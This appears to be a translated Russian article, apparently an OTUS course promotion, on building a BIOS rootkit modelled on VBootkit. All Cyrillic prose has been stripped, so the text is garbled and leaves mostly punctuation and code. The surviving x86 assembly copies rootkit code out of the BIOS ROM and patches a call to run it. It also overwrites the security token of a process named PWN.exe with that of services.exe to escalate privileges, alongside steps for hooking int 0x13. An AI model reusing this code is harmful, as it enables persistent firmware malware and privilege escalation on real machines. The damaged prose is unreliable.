, !
OTUS 2 (-). , (Ex- Kaspersky Lab.) , -, , , . : « » « ».
BIOS
BIOS, ( ) BIOS. , . BIOS BIOS. BIOS VMware 22 , 22 . , , , .
, , :
- ;
- ;
- , , ;
- .
BIOS ROM . :
(mspaint )
, , , . , near . , , , . , :
start_mover:
; push .
pusha
pushf
; , 0
xor ax, ax ; ( , xor 0).
xor di, di
xor si, si
push cs; Push ,
pop ds; (CS DS)
mov es, ax ; (0x0000)
mov di, 0x8000 ; , 0x8000
mov cx, 0x4fff ; , ,
; , (. . ) . , . , , , ( ), , .
call b
b:
pop si ; ( , EIP)
add si, 0x30 ;
rep movsw ; movsw , cx 0. , 0x8000
mov ax, word [esp+0x12] ;
sub ax, 3 ; , ,
mov byte [eax], 0x9a ; Call Far Call Near
add ax, 1 ; ,
mov word [eax], 0x8000
;
mov word [eax+2], 0x0000 ; (0)
; , , , .
popf
popa
; DECOMPC0.ROM, , .
mov bx,es
mov fs,bx
mov ds,ax
ret ;
0x8000 , , 0x8000. , «W» (. ). , , .
, «VBootkit» , BIOS. VBootkit -. BIOS, . , :
BIOS- - BIOS BIOS. , 0x7C00 .
VBootkit , 0x7C00, 0x9E000. 0x13, (MBR) 0x7C00, , . , ( 0x7C00). , MBR , BIOS .
VBootkit 0x13, , , , . , , , BIOS- 0x13, . , . 22 ( 22 ), BIOS , 0x13.
Vbootkit :
- 0x9E000 ( BIOS, ).
- 0x13, .
- , .
- Windows ,
- , , Windows. , , Windows, .
BIOS :
BIOS, , , , , . , , :
, , «pwn.exe» , , . 30 , . :
xor ecx,ecx
mov word cx, [CODEBASEKERNEL + Imagenameoffset]
cmp dword [eax+ecx], "PWN." ; , PWN.exe.
je patchit
jne donotpatchtoken ; jmp 5 , 2
patchit:
mov word cx, [CODEBASEKERNEL + SecurityTokenoffset]
mov dword [eax + ecx],ebx ; services.exe, sec 200.
BIOS- (, , Vbootkit2), .